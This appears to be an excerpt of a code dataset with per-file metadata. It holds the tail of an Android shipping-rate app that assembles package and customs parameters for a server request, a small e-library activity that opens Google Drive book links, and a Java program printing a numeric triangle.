gravity= EasyDialog.GRAVITY_TOP;
}else{
gravity=EasyDialog.GRAVITY_BOTTOM;
}
new EasyDialog(activity)
.setLayout(view)
.setBackgroundColor(Color.BLACK)
.setLocationByAttachedView(viewToolTip)
.setGravity(gravity)
.setTouchOutsideDismiss(true)
.setMatchParent(false)
.setMarginLeftAndRight(0, 0)
.setOutsideColor(Color.TRANSPARENT)
.show();
}
private void getSpecialServices(final String strServiceType){
progressBar = new ProgressDialog(mActivity);
progressBar.setCancelable(true);
progressBar.setMessage("Authenticating ...");
progressBar.setProgressStyle(ProgressDialog.STYLE_SPINNER);
progressBar.setIndeterminate(true);
progressBar.show();
String URL = mActivity.getResources().getString(R.string.url_domain_customer) + mActivity.getResources().getString(R.string.url_check_special_services);
Map<String, String> params = new HashMap<String, String>();
if(!mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")) {
params.put(JSONConstant.CR_CARRIER_CODE,mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
params.put(JSONConstant.TO_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE));
params.put(JSONConstant.FROM_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE));
params.put("request_type","check_rates");
params.put(JSONConstant.SERVICE_TYPE,strServiceType);
}else {
params.put(JSONConstant.CR_CARRIER_CODE, mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
params.put("request_type", "check_rates");
params.put(JSONConstant.SERVICE_TYPE, strServiceType);
params.put(JSONConstant.FROM_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE));
params.put(JSONConstant.FROM_C_ZIPCODE, mSessionManager.getStringData(SessionManager.KEY_F_ZIP_CODE));
params.put(JSONConstant.TO_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE));
params.put(JSONConstant.TO_C_ZIPCODE, mSessionManager.getStringData(SessionManager.KEY_T_ZIP_CODE));
params.put(JSONConstant.PACKAGECOUNT, mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT));
params.put(JSONConstant.SERVICESHIPDATE, mSessionManager.getStringData(SessionManager.KEY_SHIP_DATE));
params.put(JSONConstant.PACKAGING_TYPE, mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE));
params.put(JSONConstant.SERVICE_TYPE,strServiceType);
if (mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT) != null && mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")) {
params.put(JSONConstant.CONTAINER, "");
params.put("Shape", mSessionManager.getStringData(SessionManager.KEY_SHAPE));
params.put(JSONConstant.SIZE, mSessionManager.getStringData(SessionManager.KEY_SIZES));
}
params.put(JSONConstant.DROP_OFF_TYPE, mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP));
params.put(JSONConstant.PACKAGING_TYPE_DESCRIPTION, mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE_NAME));
params.put(JSONConstant.DROPOFF_TYPE_DESCRIPTION, mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP_NAME));
if (mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)) {
params.put(JSONConstant.IS_IDENTICAL, "1");
} else {
params.put(JSONConstant.IS_IDENTICAL, "0");
}
params.put(JSONConstant.CR_CARRIER_CODE, mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
if (mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)) {
if (!AppConstant.hashMapPackage1.isEmpty()) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
}
} else {
if (!AppConstant.hashMapPackage1.isEmpty()) {
if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("1")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
} else if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("2")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
} else if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("3")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
} else if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("4")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
} else {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
dataMapOfPackages.add(AppConstant.hashMapPackage5);
}
}
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for (HashMap<String, String> data : dataMapOfPackages) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("Packages", test);
System.out.println(jsonObject.toString());
params.put(JSONConstant.PACKAGES, test.toString());
} catch (JSONException e) {
e.printStackTrace();
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for (HashMap<String, String> data : AppConstant.noOfSpecialServices) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("special_services", test);
params.put("special_services", test.toString());
System.out.println(jsonObject.toString());
} catch (JSONException e) {
e.printStackTrace();
}
params.put(JSONConstant.FROM_C_STATE, "");
params.put(JSONConstant.FROM_C_ADDRESS_LINE1, "");
params.put(JSONConstant.FROM_C_CITY, "");
params.put(JSONConstant.TO_C_STATE, "");
params.put(JSONConstant.TO_C_ADDRESS_LINE1, "");
params.put(JSONConstant.TO_C_CITY, "");
if (mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE).equalsIgnoreCase("US") && mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE).equalsIgnoreCase("US")) {
params.put("customs_currency", "");
params.put("customs_value", "");
params.put("customs_description", "");
} else {
params.put("customs_currency", mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT));
params.put("customs_value", mSessionManager.getStringData(SessionManager.KEY_CUSTOM_VALUE));
params.put("customs_description", mSessionManager.getStringData(SessionManager.KEY_CUSTOM_DESC));
}
}
System.out.println("=>"+params.toString());
VolleyUtils.POST_METHOD(mActivity, URL,params, new VolleyResponseListener() {
@Override
public void onError(String message) {
progressBar.dismiss();
}
@Override
public void onResponse(Object response) {
System.out.println("==Volley Response===>>" + response.toString());
try {
JSONObject Json_response = new JSONObject(response.toString());
if(Json_response.getString(JSONConstant.STATUS).equalsIgnoreCase(JSONConstant.SUCCESS)){
progressBar.dismiss();
if(mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")) {
JSONArray customOptnList = Json_response.getJSONArray("special_services");
dataMapOfSpecialServices = new ArrayList<>();
for (int i = 0; i < customOptnList.length(); i++) {
JSONObject eachData = customOptnList.getJSONObject(i);
HashMap<String, String> hashMapForSpecialServices = new HashMap<String, String>();
hashMapForSpecialServices.put("special_service", eachData.getString("special_service"));
hashMapForSpecialServices.put("special_service_description", eachData.getString("special_service_description"));
if (eachData.has("selected_option")) {
hashMapForSpecialServices.put("selected_option", eachData.getString("selected_option"));
hashMapForSpecialServices.put("selected_option_description", eachData.getString("selected_option_description"));
} else {
hashMapForSpecialServices.put("selected_option", " ");
hashMapForSpecialServices.put("selected_option_description", " ");
}
hashMapForSpecialServices.put("special_service_price", eachData.getString("special_service_price"));
hashMapForSpecialServices.put("CurrencyUnit", eachData.getString("CurrencyUnit"));
dataMapOfSpecialServices.add(hashMapForSpecialServices);
}
AppConstant.noOfSpecialServices = dataMapOfSpecialServices;
System.out.println("##" + dataMapOfSpecialServices.toString());
}
}else {
JSONObject jsonObject = Json_response.getJSONObject(JSONConstant.ERROR_MESSAGES);
progressBar.dismiss();
CustomDialogForHelp customDialogForHelp =new CustomDialogForHelp(mActivity,mActivity.getResources().getString(R.string.app_name),jsonObject.getString(JSONConstant.MESSAGE));
customDialogForHelp.show();
}
} catch (JSONException e) {
e.printStackTrace();
progressBar.dismiss();
}
}
});
}
/* public void getCheckRatesDetails(){
try {
progressBar = new ProgressDialog(mActivity);
progressBar.setCancelable(true);
progressBar.setMessage("Authenticating ...");
progressBar.setProgressStyle(ProgressDialog.STYLE_SPINNER);
progressBar.setIndeterminate(true);
progressBar.show();
String URL = mActivity.getResources().getString(R.string.url_domain_customer) +mActivity. getResources().getString(R.string.url_check_rates);
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
System.out.println("==Send Volley Response===>>" + response);
try {
JSONObject Json_response = new JSONObject(response);
if(Json_response.getString(JSONConstant.STATUS).equalsIgnoreCase(JSONConstant.SUCCESS)){
JSONArray jsonArray = Json_response.getJSONArray("rates");
//JSONArray jsonArray = (JSONArray) Json_response.get("rates");
Log.e("Hi","->"+jsonArray.length());
ratesArrayList = new ArrayList<>();
for(int i = 0; i< jsonArray.length() ; i++ ){
JSONObject jsonObjectRate = jsonArray.getJSONObject(i);
ratesArrayList.add(new Rates(jsonObjectRate.getString("ServiceType"),
jsonObjectRate.getString("Amount"),
jsonObjectRate.getString("ServiceDescription"),
jsonObjectRate.getString("DeliveryDate"),
jsonObjectRate.getString("DeliveryTimestamp"),
jsonObjectRate.getString("BaseAmount"),
jsonObjectRate.getString("cs_tax1"),
jsonObjectRate.getString("cs_tax1_title"),
jsonObjectRate.getString("cs_tax2"),
jsonObjectRate.getString("cs_tax2_title"),
jsonObjectRate.getString("cs_surcharge"),
jsonObjectRate.getString("cs_surcharge_title"),
jsonObjectRate.getString("admin_commission"),
jsonObjectRate.getString("Container")
));
}
progressBar.dismiss();
*//*startActivity(new Intent(ShipmentDetailsCustomerActivity.this,CheckRateScreenCustomerActivity.class).putParcelableArrayListExtra("RateList",ratesArrayList));
//ratesArrayList.clear();
*//*
}else {
JSONObject jsonObject = Json_response.getJSONObject(JSONConstant.ERROR_MESSAGES);
CustomDialogForHelp customDialogForHelp = new CustomDialogForHelp(mActivity,mActivity.getResources().getString(R.string.app_name),jsonObject.getString(JSONConstant.MESSAGE));
customDialogForHelp.show();
}
progressBar.dismiss();
} catch (JSONException e) {
e.printStackTrace();
progressBar.dismiss();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
System.out.println("==Volley Error=" + error);
progressBar.dismiss();
}
}) {
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<String, String>();
params.put(JSONConstant.FROM_C_COUNTRY_CODE,mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE));
params.put(JSONConstant.FROM_C_ZIPCODE,mSessionManager.getStringData(SessionManager.KEY_F_ZIP_CODE));
params.put(JSONConstant.TO_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE));
params.put(JSONConstant.TO_C_ZIPCODE,mSessionManager.getStringData(SessionManager.KEY_T_ZIP_CODE));
params.put(JSONConstant.PACKAGECOUNT,mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT));
params.put(JSONConstant.SERVICESHIPDATE,mSessionManager.getStringData(SessionManager.KEY_SHIP_DATE));
params.put(JSONConstant.PACKAGING_TYPE,mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE));
params.put(JSONConstant.SERVICE_TYPE,mSessionManager.getStringData(SessionManager.KEY_SERVICE_TYPE));
if (mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT) != null &&mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")){
params.put(JSONConstant.CONTAINER,"");
params.put("Shape",mSessionManager.getStringData(SessionManager.KEY_SHAPE));
params.put(JSONConstant.SIZE,mSessionManager.getStringData(SessionManager.KEY_SIZES));
}
params.put(JSONConstant.DROP_OFF_TYPE,mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP));
params.put(JSONConstant.PACKAGING_TYPE_DESCRIPTION,mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE_NAME));
params.put(JSONConstant.DROPOFF_TYPE_DESCRIPTION,mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP_NAME));
if(mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)){
params.put(JSONConstant.IS_IDENTICAL,"1");
}else {
params.put(JSONConstant.IS_IDENTICAL,"0");
}
params.put(JSONConstant.CR_CARRIER_CODE,mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
if(mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)){
if(!AppConstant.hashMapPackage1.isEmpty()) {
//tv_weight.setText(getPackageTitle("Packages")+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
}
}else {
if(!AppConstant.hashMapPackage1.isEmpty()) {
if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("1")){
//tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
}else if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("2")){
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
}else if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("3")){
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage3.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
}else if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("4")){
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage3.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage4.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
}else {
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage3.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage4.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage5.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage5.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage5.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage5.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage5.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
dataMapOfPackages.add(AppConstant.hashMapPackage5);
}
}
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for(HashMap<String, String> data : dataMapOfPackages) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("Packages",test);
System.out.println(jsonObject.toString());
params.put(JSONConstant.PACKAGES,test.toString());
} catch (JSONException e) {
e.printStackTrace();
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for(HashMap<String, String> data : AppConstant.noOfSpecialServices) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("special_services",test);
params.put("special_services",test.toString());
System.out.println(jsonObject.toString());
} catch (JSONException e) {
e.printStackTrace();
}
params.put(JSONConstant.FROM_C_STATE,"");
params.put(JSONConstant.FROM_C_ADDRESS_LINE1,"");
params.put(JSONConstant.FROM_C_CITY,"");
params.put(JSONConstant.TO_C_STATE,"");
params.put(JSONConstant.TO_C_ADDRESS_LINE1,"");
params.put(JSONConstant.TO_C_CITY,"");
if(AppConstant.T_C_COUNTRY_CODE.equalsIgnoreCase("US")&& AppConstant.F_C_COUNTRY_CODE.equalsIgnoreCase("US")) {
params.put("customs_currency","");
params.put("customs_value","");
params.put("customs_description","");
}else {
params.put("customs_currency",mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT));
params.put("customs_value",mSessionManager.getStringData(SessionManager.KEY_CUSTOM_VALUE));
params.put("customs_description",mSessionManager.getStringData(SessionManager.KEY_CUSTOM_DESC));
}
System.out.println("hi harshada"+params.toString());
return params;
}
@Override
public String getBodyContentType() {
// TODO Auto-generated method stub
return "application/x-www-form-urlencoded";
}
protected Response<String> parseNetworkResponse(NetworkResponse response) {
if (response.headers == null)
{
// cant just set a new empty map because the member is final.
response = new NetworkResponse(
response.statusCode,
response.data,
Collections.<String, String>emptyMap(), // this is the important line, set an empty but non-null map.
response.notModified,
response.networkTimeMs);
}
return super.parseNetworkResponse(response);
}
};
// Adding JsonObject request to request queue
AppSingleton.getInstance(mActivity).addToRequestQueue(stringRequest);
} catch (Exception e) {
e.printStackTrace();
}
}*/
} | 38,720 | 0.616968 | 0.612371 | 670 | 56.792538 | 66.144371 | 393 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.78806 | false | false | 9 |
0b99429df6f9f4533302e3d6d710deaf353844af | 9,629,316,677,811 | c6378370162b9deafd10125afddab1e4759ebfc2 | /app/src/main/java/com/example/e_labrary/semester_1.java | a417150a4d850d8c67d04dbf592804dbe61e5100 | [] | no_license | shamim-miah/ELabrary | https://github.com/shamim-miah/ELabrary | 2d5d5050781233c25f72d122bcdb0ccc2f0ccfb3 | 1d62db83812fa1e951f7bca9e866db0784d61ea2 | refs/heads/master | 2020-07-24T11:23:11.018000 | 2019-09-11T21:18:25 | 2019-09-11T21:18:25 | 207,907,517 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.e_labrary;
import android.content.Intent;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.text.method.LinkMovementMethod;
import android.view.View;
import android.widget.Adapter;
import android.widget.AdapterView;
import android.widget.Button;
import android.widget.CursorAdapter;
import android.widget.ListView;
import android.widget.SearchView;
import java.util.ArrayList;
public class semester_1 extends AppCompatActivity implements View.OnClickListener{
Button btn1,btn2,btn3;
private String[] bookNames;
private int[] bookImages={ R.drawable.completec,R.drawable.fc,R.drawable.circuit };
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_semester_1);
bookNames = getResources().getStringArray(R.array.bookshelf_1);
btn1 = findViewById(R.id.btn1);
btn2=findViewById(R.id.btn2);
btn3=findViewById(R.id.btn3);
btn1.setOnClickListener(this);
btn2.setOnClickListener(this);
btn3.setOnClickListener(this);
}
@Override
public void onClick(View v) {
if(v.getId()==R.id.btn1){
Intent browserIntent=new Intent(Intent.ACTION_VIEW,Uri.parse("https://drive.google.com/open?id=1AV_THxKb3q_4QwRK6yOunYgkvefC_apZ"));
startActivity(browserIntent);
}else if(v.getId()==R.id.btn2){
Intent browserIntent=new Intent(Intent.ACTION_VIEW,Uri.parse("https://drive.google.com/open?id=1Ymw4Z9sc5db_2zG7aBvnedBstgJdixCe"));
startActivity(browserIntent);
}else if(v.getId()==R.id.btn3){
Intent browserIntent=new Intent(Intent.ACTION_VIEW,Uri.parse("https://drive.google.com/open?id=1L45lKv9zagjI0FEHm_CSa9nA6AdveyFp"));
startActivity(browserIntent);
}
}
}
| UTF-8 | Java | 2,011 | java | semester_1.java | Java | [] | null | [] | package com.example.e_labrary;
import android.content.Intent;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.text.method.LinkMovementMethod;
import android.view.View;
import android.widget.Adapter;
import android.widget.AdapterView;
import android.widget.Button;
import android.widget.CursorAdapter;
import android.widget.ListView;
import android.widget.SearchView;
import java.util.ArrayList;
public class semester_1 extends AppCompatActivity implements View.OnClickListener{
Button btn1,btn2,btn3;
private String[] bookNames;
private int[] bookImages={ R.drawable.completec,R.drawable.fc,R.drawable.circuit };
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_semester_1);
bookNames = getResources().getStringArray(R.array.bookshelf_1);
btn1 = findViewById(R.id.btn1);
btn2=findViewById(R.id.btn2);
btn3=findViewById(R.id.btn3);
btn1.setOnClickListener(this);
btn2.setOnClickListener(this);
btn3.setOnClickListener(this);
}
@Override
public void onClick(View v) {
if(v.getId()==R.id.btn1){
Intent browserIntent=new Intent(Intent.ACTION_VIEW,Uri.parse("https://drive.google.com/open?id=1AV_THxKb3q_4QwRK6yOunYgkvefC_apZ"));
startActivity(browserIntent);
}else if(v.getId()==R.id.btn2){
Intent browserIntent=new Intent(Intent.ACTION_VIEW,Uri.parse("https://drive.google.com/open?id=1Ymw4Z9sc5db_2zG7aBvnedBstgJdixCe"));
startActivity(browserIntent);
}else if(v.getId()==R.id.btn3){
Intent browserIntent=new Intent(Intent.ACTION_VIEW,Uri.parse("https://drive.google.com/open?id=1L45lKv9zagjI0FEHm_CSa9nA6AdveyFp"));
startActivity(browserIntent);
}
}
}
| 2,011 | 0.723521 | 0.704625 | 58 | 33.637932 | 32.811741 | 144 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.706897 | false | false | 9 |
bf84a9ec9c7f00dda906fc3ec6945e79015fdc39 | 26,431,228,809,992 | d7795b9a651e3751644d83cfba57fbb85e804485 | /JDBC/src/p1/PatStar.java | 8c78beb7e5d065e2c2e478ddceac9d97dda6122e | [] | no_license | Manumahesh/Database_programs | https://github.com/Manumahesh/Database_programs | 2172dfe05672ee66cbcd21b3073e0a10dfa025b1 | 368bb4f97dc04cb824590ff566d365c4e43244ea | refs/heads/master | 2020-04-06T11:22:23.141000 | 2018-11-13T17:05:57 | 2018-11-13T17:05:57 | 157,414,356 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package p1;
import java.util.Scanner;
public class PatStar {
public static void main(String[] args)
{
int count=0;
Scanner s=new Scanner(System.in);
int n=s.nextInt();
for (int i = 1; i <= n; i++)
{
if((i%2)==0)
{
for(int j=1;j<=i;j++)
{
count++;
System.out.print(count);
}
//System.out.print(i+1);
System.out.println();
}
else
{
//System.out.print(i+1);
for(int j=1;j<=i;j++)
{
count++;
System.out.print(count);
}
System.out.println();
}
}
}
}
| UTF-8 | Java | 545 | java | PatStar.java | Java | [] | null | [] | package p1;
import java.util.Scanner;
public class PatStar {
public static void main(String[] args)
{
int count=0;
Scanner s=new Scanner(System.in);
int n=s.nextInt();
for (int i = 1; i <= n; i++)
{
if((i%2)==0)
{
for(int j=1;j<=i;j++)
{
count++;
System.out.print(count);
}
//System.out.print(i+1);
System.out.println();
}
else
{
//System.out.print(i+1);
for(int j=1;j<=i;j++)
{
count++;
System.out.print(count);
}
System.out.println();
}
}
}
}
| 545 | 0.511927 | 0.495413 | 37 | 13.72973 | 11.854178 | 40 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3.054054 | false | false | 15 |
